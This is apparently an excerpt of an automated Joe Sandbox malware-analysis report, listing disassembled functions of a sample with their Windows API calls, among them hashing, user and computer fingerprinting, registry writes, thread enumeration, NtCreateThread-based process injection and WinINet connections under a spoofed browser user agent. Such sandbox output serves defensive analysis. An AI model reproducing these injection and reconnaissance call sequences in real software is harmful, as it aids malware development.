    • GetUpdateRgn.USER32(?,?,?), ref: 004149EA
      • Part of subcall function 0040803E: WaitForSingleObject.KERNEL32(00000000,0040A714), ref: 00408046
    • TlsGetValue.KERNEL32 ref: 00414982
    • SetRectRgn.GDI32(?,?,?,?,?), ref: 004149A2
    • SaveDC.GDI32(?), ref: 004149B2
    • SendMessageW.USER32(?,00000014,?,00000000), ref: 004149C2
    • RestoreDC.GDI32(?), ref: 004149D4
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BB96EA, Relevance: 9.1, APIs: 6, Instructions: 53
    APIs
    • CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000040), ref: 00BB9703
    • CryptCreateHash.ADVAPI32(?,00008004,00000000,00000000,?), ref: 00BB971B
    • CryptHashData.ADVAPI32(?,00000014,?,00000000), ref: 00BB9737
    • CryptGetHashParam.ADVAPI32(?,00000002,?,00000014,00000000), ref: 00BB974F
    • CryptDestroyHash.ADVAPI32(?), ref: 00BB9766
    • CryptReleaseContext.ADVAPI32(?,00000000), ref: 00BB9770
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BB9656, Relevance: 9.1, APIs: 6, Instructions: 53
    APIs
    • CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000040), ref: 00BB966F
    • CryptCreateHash.ADVAPI32(?,00008003,00000000,00000000,?), ref: 00BB9687
    • CryptHashData.ADVAPI32(?,00000010,?,00000000), ref: 00BB96A3
    • CryptGetHashParam.ADVAPI32(?,00000002,?,00000010,00000000), ref: 00BB96BB
    • CryptDestroyHash.ADVAPI32(?), ref: 00BB96D2
    • CryptReleaseContext.ADVAPI32(?,00000000), ref: 00BB96DC
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00419656, Relevance: 9.1, APIs: 6, Instructions: 53
    APIs
    • CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000040), ref: 0041966F
    • CryptCreateHash.ADVAPI32(?,00008003,00000000,00000000,?), ref: 00419687
    • CryptHashData.ADVAPI32(?,00000010,?,00000000), ref: 004196A3
    • CryptGetHashParam.ADVAPI32(?,00000002,?,00000010,00000000), ref: 004196BB
    • CryptDestroyHash.ADVAPI32(?), ref: 004196D2
    • CryptReleaseContext.ADVAPI32(?,00000000), ref: 004196DC
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BC8AB9, Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 238
    APIs
    • GetTickCount.KERNEL32 ref: 00BC8BB5
    • GetUserDefaultUILanguage.KERNEL32 ref: 00BC8C06
    • GetModuleFileNameW.KERNEL32(00000000,?,00000103,?,?,00000000), ref: 00BC8C4B
    • GetUserNameExW.SECUR32(00000002,?,00000104,?,?,00000000), ref: 00BC8C91
      • Part of subcall function 00BC0533: CreateMutexW.KERNEL32(00BD2AFC,00000000,00BD3F88), ref: 00BC0556
      • Part of subcall function 00BAAD37: GetVersionExW.KERNEL32(?), ref: 00BAAD5B
      • Part of subcall function 00BAAD37: GetNativeSystemInfo.KERNEL32(?), ref: 00BAAD6A
      • Part of subcall function 00BB8160: HeapFree.KERNEL32(00000000,00000000,00BCC62F,?,?), ref: 00BB8173
      • Part of subcall function 00BB8245: GetSystemTime.KERNEL32(?), ref: 00BB824F
      • Part of subcall function 00BB8245: SystemTimeToFileTime.KERNEL32(?,?), ref: 00BB825D
      • Part of subcall function 00BB826D: GetTimeZoneInformation.KERNEL32(?), ref: 00BB827C
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00428AB9, Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 238
    APIs
    • GetTickCount.KERNEL32 ref: 00428BB5
    • GetUserDefaultUILanguage.KERNEL32 ref: 00428C06
    • GetModuleFileNameW.KERNEL32(00000000,?,00000103,?,?,00000000), ref: 00428C4B
    • GetUserNameExW.SECUR32(00000002,?,00000104,?,?,00000000), ref: 00428C91
      • Part of subcall function 00420533: CreateMutexW.KERNEL32(00432AFC,00000000,00433F88), ref: 00420556
      • Part of subcall function 0040AD37: GetVersionExW.KERNEL32(?), ref: 0040AD5B
      • Part of subcall function 0040AD37: GetNativeSystemInfo.KERNEL32(?), ref: 0040AD6A
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
      • Part of subcall function 00418245: GetSystemTime.KERNEL32(?), ref: 0041824F
      • Part of subcall function 00418245: SystemTimeToFileTime.KERNEL32(?,0041DB63), ref: 0041825D
      • Part of subcall function 0041826D: GetTimeZoneInformation.KERNEL32(?), ref: 0041827C
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00429FDA, Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 201
    APIs
    • GetFileAttributesW.KERNEL32 ref: 00429FF9
      • Part of subcall function 00429C44: NlsGetCacheUpdateCount.KERNEL32(?,00000000), ref: 00429C8F
      • Part of subcall function 00429C44: CreateFileW.KERNEL32(00429FDA,C0000000,00000000,?,00000002,00000080,00000000), ref: 00429CE0
      • Part of subcall function 00429C44: CloseHandle.KERNEL32 ref: 00429CEC
      • Part of subcall function 0041CA60: RegCreateKeyExW.ADVAPI32(80000001,SOFTWARE\Microsoft,00000000,00000000,00000000,00000004,00000000,00429FDA,00000000), ref: 0041CA88
      • Part of subcall function 0041CA60: RegCreateKeyExW.ADVAPI32(00429FDA,?,00000000,00000000,00000000,00000003,00000000,?,?), ref: 0041CABA
      • Part of subcall function 0041CA60: RegCloseKey.ADVAPI32(?), ref: 0041CAC3
      • Part of subcall function 0041CA60: RegCloseKey.ADVAPI32(00429FDA), ref: 0041CADD
      • Part of subcall function 0042C52D: GetComputerNameW.KERNEL32(?,?), ref: 0042C548
      • Part of subcall function 0042C52D: GetVersionExW.KERNEL32(?), ref: 0042C57F
      • Part of subcall function 0042C52D: RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,?), ref: 0042C5F3
      • Part of subcall function 0041CAE9: SHGetFolderPathW.SHELL32(00000000,00000024,00000000,00000000,?), ref: 0041CB07
      • Part of subcall function 0041CAE9: PathAddBackslashW.SHLWAPI(?), ref: 0041CB1E
      • Part of subcall function 0041CAE9: PathRemoveBackslashW.SHLWAPI(?), ref: 0041CB2F
      • Part of subcall function 0041CAE9: PathRemoveFileSpecW.SHLWAPI(?), ref: 0041CB3C
      • Part of subcall function 0041CAE9: PathAddBackslashW.SHLWAPI(?), ref: 0041CB4D
      • Part of subcall function 0041CAE9: GetVolumeNameForVolumeMountPointW.KERNEL32(?,?,00000064), ref: 0041CB5C
      • Part of subcall function 0041CAE9: CLSIDFromString.OLE32(0000007B,?), ref: 0041CB76
      • Part of subcall function 00419A22: Sleep.KERNEL32(00000014), ref: 00419A38
      • Part of subcall function 004182C2: WideCharToMultiByte.KERNEL32(?,00000000,?,?,00000000,?,00000000,00000000), ref: 004182DD
      • Part of subcall function 0041C8C5: CharUpperW.USER32(?,?,00429FDA,00000000), ref: 0041C9E6
    • lstrcmpiA.KERNEL32(?,?,00000000,00000101,00000002,?,00000000,0000000A,00000000,00000014,00000000,00000014,?,00000028,?,00000028), ref: 0042A161
      • Part of subcall function 0041DC13: CreateFileW.KERNEL32(?,80000000,00000007,00000000,00000003,02000000,00000000), ref: 0041DC2B
      • Part of subcall function 0041DC13: GetFileTime.KERNEL32(?,?,00000000,00000000), ref: 0041DC3F
      • Part of subcall function 0041DC13: CloseHandle.KERNEL32 ref: 0041DC4B
      • Part of subcall function 0041DB4E: PathIsDirectoryW.SHLWAPI(00000000), ref: 0041DBD4
      • Part of subcall function 0041DB4E: PathRemoveFileSpecW.SHLWAPI(00989680), ref: 0041DBFA
      • Part of subcall function 0041DC58: PathSkipRootW.SHLWAPI(00429FDA), ref: 0041DC63
      • Part of subcall function 0041DC58: GetFileAttributesW.KERNEL32(00429FDA), ref: 0041DC8B
      • Part of subcall function 0041DC58: CreateDirectoryW.KERNEL32(00429FDA,00000000), ref: 0041DC99
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00409A3B, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 142
    APIs
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,0012FE18,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,0012FE18,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,0012FE18,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00415A0A, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 141
    APIs
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00415AC6
    • MapAndLoad.IMAGEHLP(yaoffu,wzU,?,00000000,00000000), ref: 00415BCB
    • IsBadStringPtrW.KERNEL32(?,00000202), ref: 00415E29
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00415ADA, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 108
    APIs
    • TranslateAcceleratorW.USER32 ref: 00415ADA
    • MapAndLoad.IMAGEHLP(yaoffu,wzU,?,00000000,00000000), ref: 00415BCB
    • IsBadStringPtrW.KERNEL32(?,00000202), ref: 00415E29
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0041508A, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 97
    APIs
    • MapViewOfFile.KERNEL32 ref: 0041508A
    • MapAndLoad.IMAGEHLP(K8P,y6uNRR,?,00000000,00000000), ref: 0041516D
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00BC667A, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 86
    APIs
      • Part of subcall function 00BA803E: WaitForSingleObject.KERNEL32(00000000,00BAA714), ref: 00BA8046
    • NtQueryInformationProcess.NTDLL(?,00000000,?,00000018), ref: 00BC66A7
    • GetProcessImageFileNameW.PSAPI(?,?,00000104), ref: 00BC66CB
      • Part of subcall function 00BB4EBF: CharLowerW.USER32 ref: 00BB4EF2
    • CloseHandle.KERNEL32 ref: 00BC6760
      • Part of subcall function 00BB9B15: CreateToolhelp32Snapshot.KERNEL32(00000004,00000000), ref: 00BB9B22
      • Part of subcall function 00BB9B15: Thread32First.KERNEL32(?,?), ref: 00BB9B3D
      • Part of subcall function 00BB9B15: Thread32Next.KERNEL32(?,0000001C), ref: 00BB9B53
      • Part of subcall function 00BB9B15: CloseHandle.KERNEL32 ref: 00BB9B5E
      • Part of subcall function 00BA7E34: CreateMutexW.KERNEL32(00BD2AFC,00000001,?), ref: 00BA7E7C
      • Part of subcall function 00BA7F10: DuplicateHandle.KERNEL32(000000FF,?,?,?,00000000,00000000,00000002), ref: 00BA7F40
      • Part of subcall function 00BA7F10: VirtualFreeEx.KERNEL32(?,7C809BE7,00000000,00008000), ref: 00BA802C
    • NtCreateThread.NTDLL(?,?,?,?), ref: 00BC677C
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0042667A, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 86
    APIs
      • Part of subcall function 0040803E: WaitForSingleObject.KERNEL32(00000000,0040A714), ref: 00408046
    • NtQueryInformationProcess.NTDLL(?,00000000,?,00000018), ref: 004266A7
    • GetProcessImageFileNameW.PSAPI(?,?,00000104), ref: 004266CB
      • Part of subcall function 00414EBF: CharLowerW.USER32 ref: 00414EF2
    • CloseHandle.KERNEL32 ref: 00426760
      • Part of subcall function 00419B15: CreateToolhelp32Snapshot.KERNEL32(00000004,00000000), ref: 00419B22
      • Part of subcall function 00419B15: Thread32First.KERNEL32(?,?), ref: 00419B3D
      • Part of subcall function 00419B15: Thread32Next.KERNEL32(?,0000001C), ref: 00419B53
      • Part of subcall function 00419B15: CloseHandle.KERNEL32 ref: 00419B5E
      • Part of subcall function 00407E34: CreateMutexW.KERNEL32(00432AFC,00000001,?), ref: 00407E7C
      • Part of subcall function 00407F10: DuplicateHandle.KERNEL32(000000FF,?,?,?,00000000,00000000,00000002), ref: 00407F40
      • Part of subcall function 00407F10: VirtualFreeEx.KERNEL32(?,7C809BE7,00000000,00008000), ref: 0040802C
    • NtCreateThread.NTDLL(?,?,?,?), ref: 0042677C
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BAADB4, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 64
    APIs
    • ConvertSidToStringSidW.ADVAPI32(?,?), ref: 00BAADC8
      • Part of subcall function 00BB8E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00BB8EB4
    • LocalFree.KERNEL32(?), ref: 00BAAE5A
      • Part of subcall function 00BBC6B1: RegOpenKeyExW.ADVAPI32(80000002,00000000,00000000,00000001,00000000), ref: 00BBC6C6
      • Part of subcall function 00BBC6B1: ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00BBC748
    • PathUnquoteSpacesW.SHLWAPI(?), ref: 00BAAE31
    • ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00BAAE42
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0040ADB4, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 64
    APIs
    • ConvertSidToStringSidW.ADVAPI32(?,?), ref: 0040ADC8
      • Part of subcall function 00418E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00418EB4
    • LocalFree.KERNEL32(?), ref: 0040AE5A
      • Part of subcall function 0041C6B1: RegOpenKeyExW.ADVAPI32(80000002,00000000,00000000,00000001,00000000), ref: 0041C6C6
      • Part of subcall function 0041C6B1: ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 0041C748
    • PathUnquoteSpacesW.SHLWAPI(?), ref: 0040AE31
    • ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 0040AE42
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00409ED1, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60
    APIs
    • GetTextExtentPoint32W.GDI32 ref: 00409ED1
    • LoadImageW.USER32 ref: 00409ED7
    • GetTimeFormatW.KERNEL32 ref: 00409EDD
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,0012FE18,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,0012FE18,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040A10E, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60
    APIs
    • GetTickCount.KERNEL32 ref: 0040A10E
    • GetUserDefaultUILanguage.KERNEL32 ref: 0040A114
    • DispatchMessageW.USER32 ref: 0040A11A
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,0012FE18,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,0012FE18,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00BBA06B, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 46
    APIs
    • InternetOpenA.WININET(?,?,00000000,00000000,00000000), ref: 00BBA082
    • InternetSetOptionA.WININET(?,00000002,00BD253C,00000004), ref: 00BBA0A1
    • InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00BBA0BE
    • InternetCloseHandle.WININET ref: 00BBA0CA
    Strings
    • Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1), xrefs: 00BBA073, 00BBA081
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0041A06B, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 46
    APIs
    • InternetOpenA.WININET(?,?,00000000,00000000,00000000), ref: 0041A082
    • InternetSetOptionA.WININET(?,00000002,0043253C,00000004), ref: 0041A0A1
    • InternetConnectA.WININET(?,00000000,00000000,00000000,00000000,00000003,00000000,00000000), ref: 0041A0BE
    • InternetCloseHandle.WININET ref: 0041A0CA
    Strings
    • Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1), xrefs: 0041A073, 0041A081
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BBA52D, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 43
    APIs
    • LoadLibraryA.KERNEL32(urlmon.dll), ref: 00BBA53E
    • GetProcAddress.KERNEL32(?,ObtainUserAgentString), ref: 00BBA551
    • FreeLibrary.KERNEL32(?), ref: 00BBA5A2
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0041A52D, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 43
    APIs
    • LoadLibraryA.KERNEL32(urlmon.dll), ref: 0041A53E
    • GetProcAddress.KERNEL32(?,ObtainUserAgentString), ref: 0041A551
    • FreeLibrary.KERNEL32(?), ref: 0041A5A2
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00427234, Relevance: 7.7, APIs: 5, Instructions: 184
    APIs
    • InterlockedExchange.KERNEL32(00434140,00000000), ref: 00427252
    • InterlockedExchange.KERNEL32(00434120,00000000), ref: 0042725A
    • InitializeCriticalSection.KERNEL32(004340F8), ref: 00427261
      • Part of subcall function 0041C768: RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,?), ref: 0041C780
    • CoInitializeEx.OLE32(00000000,00000002), ref: 0042735E
    • CoCreateInstance.OLE32(00401690,00000000,00004401,00401680,?), ref: 00427394
      • Part of subcall function 0041EBA1: CoUninitialize.OLE32 ref: 0041EBAF
      • Part of subcall function 0041C7EE: RegCreateKeyExW.ADVAPI32(80000001,7C809F91,00000000,00000000,00000000,00000002,00000000,00000000,00000000), ref: 0041C80C
      • Part of subcall function 0041C7EE: RegSetValueExW.ADVAPI32(00000000,?,00000000,?,00000004,?), ref: 0041C826
      • Part of subcall function 0041C7EE: RegCloseKey.ADVAPI32(00000000), ref: 0041C835
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BC38DA, Relevance: 7.7, APIs: 5, Instructions: 163
    APIs
      • Part of subcall function 00BBDED6: PathCombineW.SHLWAPI(?,?,?), ref: 00BBDEF5
      • Part of subcall function 00BB8130: HeapAlloc.KERNEL32(00000008,?,00BBC881), ref: 00BB8141
    • GetPrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?,0000FFFF,?), ref: 00BC3946
    • GetPrivateProfileStringW.KERNEL32(?,?,00000000,?,000000FF,?), ref: 00BC39D7
    • GetPrivateProfileIntW.KERNEL32(0000FFFF,?,00000015,?), ref: 00BC39F1
    • GetPrivateProfileStringW.KERNEL32(?,?,00000000,?,000000FF,?), ref: 00BC3A1F
    • GetPrivateProfileStringW.KERNEL32(?,0000FFFF,00000000,0000FFFF,000000FF,?), ref: 00BC3A3E
      • Part of subcall function 00BB8E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00BB8EB4
      • Part of subcall function 00BB8160: HeapFree.KERNEL32(00000000,00000000,00BCC62F,?,?), ref: 00BB8173
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 004238DA, Relevance: 7.7, APIs: 5, Instructions: 163
    APIs
      • Part of subcall function 0041DED6: PathCombineW.SHLWAPI(?,?,?), ref: 0041DEF5
      • Part of subcall function 00418130: HeapAlloc.KERNEL32(00000008,?,0041C881), ref: 00418141
    • GetPrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?,0000FFFF,?), ref: 00423946
    • GetPrivateProfileStringW.KERNEL32(?,?,00000000,?,000000FF,?), ref: 004239D7
    • GetPrivateProfileIntW.KERNEL32(0000FFFF,?,00000015,?), ref: 004239F1
    • GetPrivateProfileStringW.KERNEL32(?,?,00000000,?,000000FF,?), ref: 00423A1F
    • GetPrivateProfileStringW.KERNEL32(?,0000FFFF,00000000,0000FFFF,000000FF,?), ref: 00423A3E
      • Part of subcall function 00418E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00418EB4
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BCACD8, Relevance: 7.7, APIs: 5, Instructions: 162
    APIs
      • Part of subcall function 00BA7ED5: CreateMutexW.KERNEL32(00BD2AFC,00000000,?), ref: 00BA7EF6
    • GetCurrentThread.KERNEL32 ref: 00BCACF9
    • SetThreadPriority.KERNEL32 ref: 00BCAD00
      • Part of subcall function 00BA803E: WaitForSingleObject.KERNEL32(00000000,00BAA714), ref: 00BA8046
    • WaitForSingleObject.KERNEL32(0000EA60), ref: 00BCAD1E
      • Part of subcall function 00BC5B94: RegOpenKeyExW.ADVAPI32(80000001,00BD4028,00000000,00000001,?), ref: 00BC5BD3
    • CreateMutexW.KERNEL32(00BD2AFC,00000001,?), ref: 00BCADF7
